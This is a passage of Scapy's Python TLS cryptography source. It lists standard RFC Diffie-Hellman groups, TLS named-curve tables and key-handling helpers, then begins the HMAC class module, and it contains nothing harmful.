DA3EDBEB CF9B14ED 44CE6CBA CED4BB1B DB7F1447 E6CC254B 33205151 2BD7AF42 6FB8F401 378CD2BF 5983CA01 C64B92EC F032EA15 D1721D03 F482D7CE 6E74FEF6 D55E702F 46980C82 B5A84031 900B1C9E 59E7C97F BEC7E8F3 23A97A7E 36CC88BE 0F1D45B7 FF585AC5 4BD407B2 2B4154AA CC8F6D7E BF48E1D8 14CC5ED2 0F8037E0 A79715EE F29BE328 06A1D58B B7C5DA76 F550AA3D 8A1FBFF0 EB19CCB1 A313D55C DA56C9EC 2EF29632 387FE8D7 6E3C0468 043E8F66 3F4860EE 12BF2D5B 0B7474D6 E694F91E 6DCC4024 FFFFFFFF FFFFFFFF""") mLen = 6144 class modp8192(_FFDHParams): # From RFC 3526 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D 670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 15728E5A 8AAAC42D AD33170D 04507A33 A85521AB DF1CBA64 ECFB8504 58DBEF0A 8AEA7157 5D060C7D B3970F85 A6E1E4C7 ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 1AD2EE6B F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31 43DB5BFC E0FD108E 4B82D120 A9210801 1A723C12 A787E6D7 88719A10 BDBA5B26 99C32718 6AF4E23C 1A946834 B6150BDA 2583E9CA 2AD44CE8 DBBBC2DB 04DE8EF9 2E8EFC14 1FBECAA6 287C5947 4E6BC05D 99B2964F A090C3A2 233BA186 515BE7ED 1F612970 CEE2D7AF B81BDD76 2170481C D0069127 D5B05AA9 93B4EA98 8D8FDDC1 86FFB7DC 90A6C08F 4DF435C9 34028492 36C3FAB4 D27C7026 C1D4DCB2 602646DE C9751E76 3DBA37BD F8FF9406 AD9E530E E5DB382F 413001AE B06A53ED 9027D831 179727B0 865A8918 DA3EDBEB CF9B14ED 44CE6CBA CED4BB1B DB7F1447 E6CC254B 33205151 2BD7AF42 6FB8F401 378CD2BF 5983CA01 C64B92EC F032EA15 D1721D03 F482D7CE 6E74FEF6 D55E702F 46980C82 B5A84031 900B1C9E 59E7C97F BEC7E8F3 23A97A7E 36CC88BE 0F1D45B7 FF585AC5 4BD407B2 2B4154AA CC8F6D7E BF48E1D8 14CC5ED2 0F8037E0 A79715EE F29BE328 06A1D58B B7C5DA76 F550AA3D 8A1FBFF0 EB19CCB1 A313D55C DA56C9EC 2EF29632 387FE8D7 6E3C0468 043E8F66 3F4860EE 12BF2D5B 0B7474D6 E694F91E 6DBE1159 74A3926F 12FEE5E4 38777CB6 A932DF8C D8BEC4D0 73B931BA 3BC832B6 8D9DD300 741FA7BF 8AFC47ED 2576F693 6BA42466 3AAB639C 5AE4F568 3423B474 2BF1C978 238F16CB E39D652D E3FDB8BE FC848AD9 22222E04 A4037C07 13EB57A8 1A23F0C7 3473FC64 6CEA306B 4BCBC886 2F8385DD FA9D4B7F A2C087E8 79683303 ED5BDD3A 062B3CF5 B3A278A6 6D2A13F8 3F44F82D DF310EE0 74AB6A36 4597E899 A0255DC1 64F31CC5 0846851D F9AB4819 5DED7EA1 B1D510BD 7EE74D73 FAF36BC3 1ECFA268 359046F4 EB879F92 4009438B 481C6CD7 889A002E D5EE382B C9190DA6 FC026E47 9558E447 5677E9AA 9E3050E2 765694DF C81F56E8 80B96E71 60C980DD 98EDD3DF FFFFFFFF FFFFFFFF""") mLen = 8192 class ffdhe2048(_FFDHParams): # From RFC 7919 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1 D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9 7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561 2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935 984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735 30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19 0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61 9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73 3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA 886B4238 61285C97 FFFFFFFF FFFFFFFF """) mLen = 2048 class ffdhe3072(_FFDHParams): # From RFC 7919 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1 D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9 7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561 2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935 984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735 30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19 0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61 9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73 3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA 886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238 61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3 64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF 3C1B20EE 3FD59D7C 25E41D2B 66C62E37 FFFFFFFF FFFFFFFF """) mLen = 3072 class ffdhe4096(_FFDHParams): # From RFC 7919 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1 D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9 7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561 2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935 984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735 30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19 0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61 9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73 3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA 886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238 61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3 64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF 3C1B20EE 3FD59D7C 25E41D2B 669E1EF1 6E6F52C3 164DF4FB 7930E9E4 E58857B6 AC7D5F42 D69F6D18 7763CF1D 55034004 87F55BA5 7E31CC7A 7135C886 EFB4318A ED6A1E01 2D9E6832 A907600A 918130C4 6DC778F9 71AD0038 092999A3 33CB8B7A 1A1DB93D 7140003C 2A4ECEA9 F98D0ACC 0A8291CD CEC97DCF 8EC9B55A 7F88A46B 4DB5A851 F44182E1 C68A007E 5E655F6A FFFFFFFF FFFFFFFF """) mLen = 4096 class ffdhe6144(_FFDHParams): # From RFC 7919 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1 D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9 7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561 2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935 984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735 30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19 0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61 9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73 3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA 886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238 61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3 64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF 3C1B20EE 3FD59D7C 25E41D2B 669E1EF1 6E6F52C3 164DF4FB 7930E9E4 E58857B6 AC7D5F42 D69F6D18 7763CF1D 55034004 87F55BA5 7E31CC7A 7135C886 EFB4318A ED6A1E01 2D9E6832 A907600A 918130C4 6DC778F9 71AD0038 092999A3 33CB8B7A 1A1DB93D 7140003C 2A4ECEA9 F98D0ACC 0A8291CD CEC97DCF 8EC9B55A 7F88A46B 4DB5A851 F44182E1 C68A007E 5E0DD902 0BFD64B6 45036C7A 4E677D2C 38532A3A 23BA4442 CAF53EA6 3BB45432 9B7624C8 917BDD64 B1C0FD4C B38E8C33 4C701C3A CDAD0657 FCCFEC71 9B1F5C3E 4E46041F 388147FB 4CFDB477 A52471F7 A9A96910 B855322E DB6340D8 A00EF092 350511E3 0ABEC1FF F9E3A26E 7FB29F8C 183023C3 587E38DA 0077D9B4 763E4E4B 94B2BBC1 94C6651E 77CAF992 EEAAC023 2A281BF6 B3A739C1 22611682 0AE8DB58 47A67CBE F9C9091B 462D538C D72B0374 6AE77F5E 62292C31 1562A846 505DC82D B854338A E49F5235 C95B9117 8CCF2DD5 CACEF403 EC9D1810 C6272B04 5B3B71F9 DC6B80D6 3FDD4A8E 9ADB1E69 62A69526 D43161C1 A41D570D 7938DAD4 A40E329C D0E40E65 FFFFFFFF FFFFFFFF """) mLen = 6144 class ffdhe8192(_FFDHParams): # From RFC 7919 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1 D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9 7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561 2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935 984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735 30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19 0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61 9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73 3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA 886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238 61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3 64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF 3C1B20EE 3FD59D7C 25E41D2B 669E1EF1 6E6F52C3 164DF4FB 7930E9E4 E58857B6 AC7D5F42 D69F6D18 7763CF1D 55034004 87F55BA5 7E31CC7A 7135C886 EFB4318A ED6A1E01 2D9E6832 A907600A 918130C4 6DC778F9 71AD0038 092999A3 33CB8B7A 1A1DB93D 7140003C 2A4ECEA9 F98D0ACC 0A8291CD CEC97DCF 8EC9B55A 7F88A46B 4DB5A851 F44182E1 C68A007E 5E0DD902 0BFD64B6 45036C7A 4E677D2C 38532A3A 23BA4442 CAF53EA6 3BB45432 9B7624C8 917BDD64 B1C0FD4C B38E8C33 4C701C3A CDAD0657 FCCFEC71 9B1F5C3E 4E46041F 388147FB 4CFDB477 A52471F7 A9A96910 B855322E DB6340D8 A00EF092 350511E3 0ABEC1FF F9E3A26E 7FB29F8C 183023C3 587E38DA 0077D9B4 763E4E4B 94B2BBC1 94C6651E 77CAF992 EEAAC023 2A281BF6 B3A739C1 22611682 0AE8DB58 47A67CBE F9C9091B 462D538C D72B0374 6AE77F5E 62292C31 1562A846 505DC82D B854338A E49F5235 C95B9117 8CCF2DD5 CACEF403 EC9D1810 C6272B04 5B3B71F9 DC6B80D6 3FDD4A8E 9ADB1E69 62A69526 D43161C1 A41D570D 7938DAD4 A40E329C CFF46AAA 36AD004C F600C838 1E425A31 D951AE64 FDB23FCE C9509D43 687FEB69 EDD1CC5E 0B8CC3BD F64B10EF 86B63142 A3AB8829 555B2F74 7C932665 CB2C0F1C C01BD702 29388839 D2AF05E4 54504AC7 8B758282 2846C0BA 35C35F5C 59160CC0 46FD8251 541FC68C 9C86B022 BB709987 6A460E74 51A8A931 09703FEE 1C217E6C 3826E52C 51AA691E 0E423CFC 99E9E316 50C1217B 624816CD AD9A95F9 D5B80194 88D9C0A0 A1FE3075 A577E231 83F81D4A 3F2FA457 1EFC8CE0 BA8A4FE8 B6855DFE 72B0A66E DED2FBAB FBE58A30 FAFABE1C 5D71A87E 2F741EF8 C1FE86FE A6BBFDE5 30677F0D 97D11D49 F7A8443D 0822E506 A9F4614E 011E2A94 838FF88C D68C8BB7 C5C6424C FFFFFFFF FFFFFFFF """) mLen = 8192 _tls_named_ffdh_groups = {256: "ffdhe2048", 257: "ffdhe3072", 258: "ffdhe4096", 259: "ffdhe6144", 260: "ffdhe8192"} _tls_named_curves = {1: "sect163k1", 2: "sect163r1", 3: "sect163r2", 4: "sect193r1", 5: "sect193r2", 6: "sect233k1", 7: "sect233r1", 8: "sect239k1", 9: "sect283k1", 10: "sect283r1", 11: "sect409k1", 12: "sect409r1", 13: "sect571k1", 14: "sect571r1", 15: "secp160k1", 16: "secp160r1", 17: "secp160r2", 18: "secp192k1", 19: "secp192r1", 20: "secp224k1", 21: "secp224r1", 22: "secp256k1", 23: "secp256r1", 24: "secp384r1", 25: "secp521r1", 26: "brainpoolP256r1", 27: "brainpoolP384r1", 28: "brainpoolP512r1", 29: "x25519", 30: "x448", 0xff01: "arbitrary_explicit_prime_curves", 0xff02: "arbitrary_explicit_char2_curves"} _tls_post_quantum_hybrid = { # https://www.ietf.org/archive/id/draft-kwiatkowski-tls-ecdhe-mlkem-02.html#name-secp256r1mlkem768 0x11EB: "SecP256r1MLKEM768", # https://www.ietf.org/archive/id/draft-kwiatkowski-tls-ecdhe-mlkem-02.html#name-x25519mlkem768 0x11EC: "X25519MLKEM768", # https://www.ietf.org/archive/id/draft-tls-westerbaan-xyber768d00-03.html#name-iana-considerations 0x6399: "X25519Kyber768Draft00", } _tls_named_groups = {} _tls_named_groups.update(_tls_named_ffdh_groups) _tls_named_groups.update(_tls_named_curves) _tls_named_groups.update(_tls_post_quantum_hybrid) def _tls_named_groups_import(group, pubbytes): if group in _tls_named_ffdh_groups: # https://datatracker.ietf.org/doc/html/rfc8446#section-4.2.8.1 params = _ffdh_groups[_tls_named_ffdh_groups[group]][0] pn = params.parameter_numbers() y = bytes_int(pubbytes) public_numbers = dh.DHPublicNumbers(y, pn) return public_numbers.public_key(default_backend()) elif group in _tls_named_curves: # https://datatracker.ietf.org/doc/html/rfc8446#section-4.2.8.2 if _tls_named_curves[group] in ["x25519", "x448"]: if conf.crypto_valid_advanced: if _tls_named_curves[group] == "x25519": import_point = x25519.X25519PublicKey.from_public_bytes else: import_point = x448.X448PublicKey.from_public_bytes return import_point(pubbytes) else: curve = ec._CURVE_TYPES[_tls_named_curves[group]] try: # cryptography < 42 curve = curve() except TypeError: pass try: # cryptography >= 2.5 return ec.EllipticCurvePublicKey.from_encoded_point( curve, pubbytes ) except AttributeError: pub_num = ec.EllipticCurvePublicNumbers.from_encoded_point( curve, pubbytes ).public_numbers() return pub_num.public_key(default_backend()) def _tls_named_groups_pubbytes(privkey): if isinstance(privkey, dh.DHPrivateKey): # https://datatracker.ietf.org/doc/html/rfc8446#section-4.2.8.1 pubkey = privkey.public_key() return int_bytes(pubkey.public_numbers().y, privkey.key_size // 8) elif isinstance(privkey, (x25519.X25519PrivateKey, x448.X448PrivateKey)): # https://datatracker.ietf.org/doc/html/rfc8446#section-4.2.8.2 pubkey = privkey.public_key() return pubkey.public_bytes( serialization.Encoding.Raw, serialization.PublicFormat.Raw ) else: pubkey = privkey.public_key() try: # cryptography >= 2.5 return pubkey.public_bytes( serialization.Encoding.X962, serialization.PublicFormat.UncompressedPoint ) except TypeError: # older versions return pubkey.public_numbers().encode_point() def _tls_named_groups_generate(group): if group in _tls_named_ffdh_groups: params = _ffdh_groups[_tls_named_ffdh_groups[group]][0] return params.generate_private_key() elif group in _tls_named_curves: group_name = _tls_named_curves[group] if group_name in ["x25519", "x448"]: if conf.crypto_valid_advanced: if group_name == "x25519": return x25519.X25519PrivateKey.generate() else: return x448.X448PrivateKey.generate() else: warning( "Your cryptography version doesn't support " + group_name ) else: curve = ec._CURVE_TYPES[_tls_named_curves[group]] try: # cryptography < 42 curve = curve() except TypeError: pass return ec.generate_private_key(curve, default_backend()) # Below lies ghost code since the shift from 'ecdsa' to 'cryptography' lib. # Part of the code has been kept, but commented out, in case anyone would like # to improve ECC support in 'cryptography' (namely for the compressed point # format and additional curves). # # Recommended curve parameters from www.secg.org/SEC2-Ver-1.0.pdf # and www.ecc-brainpool.org/download/Domain-parameters.pdf # # # import math # # from scapy.utils import long_converter, binrepr # from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip # # # def encode_point(point, point_format=0): # """ # Return a string representation of the Point p, according to point_format. # """ # pLen = len(binrepr(point.curve().p())) # x = pkcs_i2osp(point.x(), math.ceil(pLen/8)) # y = pkcs_i2osp(point.y(), math.ceil(pLen/8)) # if point_format == 0: # frmt = b'\x04' # elif point_format == 1: # frmt = chr(2 + y%2) # y = '' # else: # raise Exception("No support for point_format %d" % point_format) # return frmt + x + y # # # try: # import ecdsa # ecdsa_support = True # except ImportError: # import logging # log_loading = logging.getLogger("scapy.loading") # log_loading.info("Can't import python ecdsa lib. No curves.") # # # if ecdsa_support: # # from ecdsa.ellipticcurve import CurveFp, Point # from ecdsa.curves import Curve # from ecdsa.numbertheory import square_root_mod_prime # # # def extract_coordinates(g, curve): # """ # Return the coordinates x and y as integers, # regardless of the point format of string g. # Second expected parameter is a CurveFp. # """ # p = curve.p() # point_format = g[0] # point = g[1:] # if point_format == b'\x04': # point_len = len(point) # if point_len % 2 != 0: # raise Exception("Point length is not even.") # x_bytes = point[:point_len>>1] # x = pkcs_os2ip(x_bytes) % p # y_bytes = point[point_len>>1:] # y = pkcs_os2ip(y_bytes) % p # elif point_format in [b'\x02', b'\x03']: # x_bytes = point # x = pkcs_os2ip(x_bytes) % p # # perform the y coordinate computation with self.tls_ec # y_square = (x*x*x + curve.a()*x + curve.b()) % p # y = square_root_mod_prime(y_square, p) # y_parity = ord(point_format) % 2 # \x02 means even, \x03 means odd # noqa: E501 # if y % 2 != y_parity: # y = -y % p # else: # raise Exception("Point starts with %s. This encoding " # "is not recognized." % repr(point_format)) # if not curve.contains_point(x, y): # raise Exception("The point we extracted does not belong on the curve!") # noqa: E501 # return x, y # # def import_curve(p, a, b, g, r, name="dummyName", oid=(1, 3, 132, 0, 0xff)): # noqa: E501 # """ # Create an ecdsa.curves.Curve from the usual parameters. # Arguments may be either octet strings or integers, # except g which we expect to be an octet string. # """ # if isinstance(p, str): # p = pkcs_os2ip(p) # if isinstance(a, str): # a = pkcs_os2ip(a) # if isinstance(b, str): # b = pkcs_os2ip(b) # if isinstance(r, str): # r = pkcs_os2ip(r) # curve = CurveFp(p, a, b) # x, y = extract_coordinates(g, curve) # generator = Point(curve, x, y, r) # return Curve(name, curve, generator, oid) # Named curves # We always provide _a as a positive integer. # _p = long_converter(""" # ffffffff ffffffff ffffffff fffffffe ffffac73""") # _a = 0 # _b = 7 # _Gx = long_converter(""" # 3b4c382c e37aa192 a4019e76 3036f4f5 dd4d7ebb""") # _Gy = long_converter(""" # 938cf935 318fdced 6bc28286 531733c3 f03c4fee""") # _r = long_converter("""01 # 00000000 00000000 0001b8fa 16dfab9a ca16b6b3""") # curve = CurveFp(_p, _a, _b) # generator = Point(curve, _Gx, _Gy, _r) # SECP160k1 = Curve("SECP160k1", curve, generator, # (1, 3, 132, 0, 9), "secp160k1") # _p = long_converter(""" # ffffffff ffffffff ffffffff ffffffff 7fffffff""") # _a = -3 % _p # _b = long_converter(""" # 1c97befc 54bd7a8b 65acf89f 81d4d4ad c565fa45""") # _Gx = long_converter(""" # 4a96b568 8ef57328 46646989 68c38bb9 13cbfc82""") # _Gy = long_converter(""" # 23a62855 3168947d 59dcc912 04235137 7ac5fb32""") # _r = long_converter("""01 # 00000000 00000000 0001f4c8 f927aed3 ca752257""") # curve = CurveFp(_p, _a, _b) # generator = Point(curve, _Gx, _Gy, _r) # SECP160r1 = Curve("SECP160r1", curve, generator, # (1, 3, 132, 0, 8), "secp160r1") # _p = long_converter(""" # ffffffff ffffffff ffffffff fffffffe ffffac73""") # _a = -3 % _p # _b = long_converter(""" # b4e134d3 fb59eb8b ab572749 04664d5a f50388ba""") # _Gx = long_converter(""" # 52dcb034 293a117e 1f4ff11b 30f7199d 3144ce6d""") # _Gy = long_converter(""" # feaffef2 e331f296 e071fa0d f9982cfe a7d43f2e""") # _r = long_converter("""01 # 00000000 00000000 0000351e e786a818 f3a1a16b""") # curve = CurveFp(_p, _a, _b) # generator = Point(curve, _Gx, _Gy, _r) # SECP160r2 = Curve("SECP160r2", curve, generator, # (1, 3, 132, 0, 30), "secp160r2") # _p = long_converter(""" # ffffffff ffffffff ffffffff ffffffff fffffffe ffffee37""") # _a = 0 # _b = 3 # _Gx = long_converter(""" # db4ff10e c057e9ae 26b07d02 80b7f434 1da5d1b1 eae06c7d""") # _Gy = long_converter(""" # 9b2f2f6d 9c5628a7 844163d0 15be8634 4082aa88 d95e2f9d""") # _r = long_converter(""" # ffffffff ffffffff fffffffe 26f2fc17 0f69466a 74defd8d""") # curve = CurveFp(_p, _a, _b) # generator = Point(curve, _Gx, _Gy, _r) # SECP192k1 = Curve("SECP192k1", curve, generator, # (1, 3, 132, 0, 31), "secp192k1") # _p = long_converter(""" # ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe # ffffe56d""") # _a = 0 # _b = 5 # _Gx = long_converter(""" # a1455b33 4df099df 30fc28a1 69a467e9 e47075a9 0f7e650e # b6b7a45c""") # _Gy = long_converter(""" # 7e089fed 7fba3442 82cafbd6 f7e319f7 c0b0bd59 e2ca4bdb # 556d61a5""") # _r = long_converter("""01 # 00000000 00000000 00000000 0001dce8 d2ec6184 caf0a971 # 769fb1f7""") # curve = CurveFp(_p, _a, _b) # generator = Point(curve, _Gx, _Gy, _r) # SECP224k1 = Curve("SECP224k1", curve, generator, # (1, 3, 132, 0, 32), "secp224k1") # _p = long_converter(""" # A9FB57DB A1EEA9BC 3E660A90 9D838D72 6E3BF623 D5262028 # 2013481D 1F6E5377""") # _a = long_converter(""" # 7D5A0975 FC2C3057 EEF67530 417AFFE7 FB8055C1 26DC5C6C # E94A4B44 F330B5D9""") # _b = long_converter(""" # 26DC5C6C E94A4B44 F330B5D9 BBD77CBF 95841629 5CF7E1CE # 6BCCDC18 FF8C07B6""") # _Gx = long_converter(""" # 8BD2AEB9 CB7E57CB 2C4B482F FC81B7AF B9DE27E1 E3BD23C2 # 3A4453BD 9ACE3262""") # _Gy = long_converter(""" # 547EF835 C3DAC4FD 97F8461A 14611DC9 C2774513 2DED8E54 # 5C1D54C7 2F046997""") # _r = long_converter(""" # A9FB57DB A1EEA9BC 3E660A90 9D838D71 8C397AA3 B561A6F7 # 901E0E82 974856A7""") # curve = CurveFp(_p, _a, _b) # generator = Point(curve, _Gx, _Gy, _r) # BRNP256r1 = Curve("BRNP256r1", curve, generator, # (1, 3, 36, 3, 3, 2, 8, 1, 1, 7), "brainpoolP256r1") # _p = long_converter(""" # 8CB91E82 A3386D28 0F5D6F7E 50E641DF 152F7109 ED5456B4 # 12B1DA19 7FB71123 ACD3A729 901D1A71 87470013 3107EC53""") # _a = long_converter(""" # 7BC382C6 3D8C150C 3C72080A CE05AFA0 C2BEA28E 4FB22787 # 139165EF BA91F90F 8AA5814A 503AD4EB 04A8C7DD 22CE2826""") # _b = long_converter(""" # 04A8C7DD 22CE2826 8B39B554 16F0447C 2FB77DE1 07DCD2A6 # 2E880EA5 3EEB62D5 7CB43902 95DBC994 3AB78696 FA504C11""") # _Gx = long_converter(""" # 1D1C64F0 68CF45FF A2A63A81 B7C13F6B 8847A3E7 7EF14FE3 # DB7FCAFE 0CBD10E8 E826E034 36D646AA EF87B2E2 47D4AF1E""") # _Gy = long_converter(""" # 8ABE1D75 20F9C2A4 5CB1EB8E 95CFD552 62B70B29 FEEC5864 # E19C054F F9912928 0E464621 77918111 42820341 263C5315""") # _r = long_converter(""" # 8CB91E82 A3386D28 0F5D6F7E 50E641DF 152F7109 ED5456B3 # 1F166E6C AC0425A7 CF3AB6AF 6B7FC310 3B883202 E9046565""") # curve = CurveFp(_p, _a, _b) # generator = Point(curve, _Gx, _Gy, _r) # BRNP384r1 = Curve("BRNP384r1", curve, generator, # (1, 3, 36, 3, 3, 2, 8, 1, 1, 11), "brainpoolP384r1") # _p = long_converter(""" # AADD9DB8 DBE9C48B 3FD4E6AE 33C9FC07 CB308DB3 B3C9D20E # D6639CCA 70330871 7D4D9B00 9BC66842 AECDA12A E6A380E6 # 2881FF2F 2D82C685 28AA6056 583A48F3""") # _a = long_converter(""" # 7830A331 8B603B89 E2327145 AC234CC5 94CBDD8D 3DF91610 # A83441CA EA9863BC 2DED5D5A A8253AA1 0A2EF1C9 8B9AC8B5 # 7F1117A7 2BF2C7B9 E7C1AC4D 77FC94CA""") # _b = long_converter(""" # 3DF91610 A83441CA EA9863BC 2DED5D5A A8253AA1 0A2EF1C9 # 8B9AC8B5 7F1117A7 2BF2C7B9 E7C1AC4D 77FC94CA DC083E67 # 984050B7 5EBAE5DD 2809BD63 8016F723""") # _Gx = long_converter(""" # 81AEE4BD D82ED964 5A21322E 9C4C6A93 85ED9F70 B5D916C1 # B43B62EE F4D0098E FF3B1F78 E2D0D48D 50D1687B 93B97D5F # 7C6D5047 406A5E68 8B352209 BCB9F822""") # _Gy = long_converter(""" # 7DDE385D 566332EC C0EABFA9 CF7822FD F209F700 24A57B1A # A000C55B 881F8111 B2DCDE49 4A5F485E 5BCA4BD8 8A2763AE # D1CA2B2F A8F05406 78CD1E0F 3AD80892""") # _r = long_converter(""" # AADD9DB8 DBE9C48B 3FD4E6AE 33C9FC07 CB308DB3 B3C9D20E # D6639CCA 70330870 553E5C41 4CA92619 41866119 7FAC1047 # 1DB1D381 085DDADD B5879682 9CA90069""") # curve = CurveFp(_p, _a, _b) # generator = Point(curve, _Gx, _Gy, _r) # BRNP512r1 = Curve("BRNP512r1", curve, generator, # (1, 3, 36, 3, 3, 2, 8, 1, 1, 13), "brainpoolP512r1") ================================================ FILE: scapy/layers/tls/crypto/h_mac.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016 Maxence Tury """ HMAC classes. """ import hmac from scapy.layers.tls.crypto.hash import _tls_hash_algs from scapy.compat import bytes_encode _SSLv3_PAD1_MD5 = b"\x36" * 48 _SSLv3_PAD1_SHA1 = b"\x36" * 40 _SSLv3_PAD2_MD5 = b"\x5c" * 48 _SSLv3_PAD2_SHA1 = b"\x5c" * 40 _tls_hmac_algs = {} class _GenericHMACMetaclass(type): """ HMAC classes are automatically registered through this metaclass. Furthermore, their name attribute is extracted from their class name. Note that, when used with TLS, the HMAC key length equates the output of the associated hash function (see RFC 5246, appendix C). Also, we do not need to instantiate the associated hash function. """ def __new__(cls, hmac_name, bases, dct): hash_name = hmac_name[5:] # remove leading "Hmac_" if hmac_name != "_GenericHMAC": dct["name"] = "HMAC-%s" % hash_name dct["hash_alg"] = _tls_hash_algs[hash_name] dct["hmac_len"] = _tls_hash_algs[hash_name].hash_len dct["key_len"] = dct["hmac_len"] the_class = super(_GenericHMACMetaclass, cls).__new__(cls, hmac_name, bases, dct) if hmac_name != "_GenericHMAC": _tls_hmac_algs[dct["name"]] = the_class return the_class class HMACError(Exception): """ Raised when HMAC verification fails. """ pass class _GenericHMAC(metaclass=_GenericHMACMetaclass): def __init__(self, key=None): if key is None: self.key = b"" else: self.key = bytes_encode(key) def digest(self, tbd): if self.key is None: raise HMACError 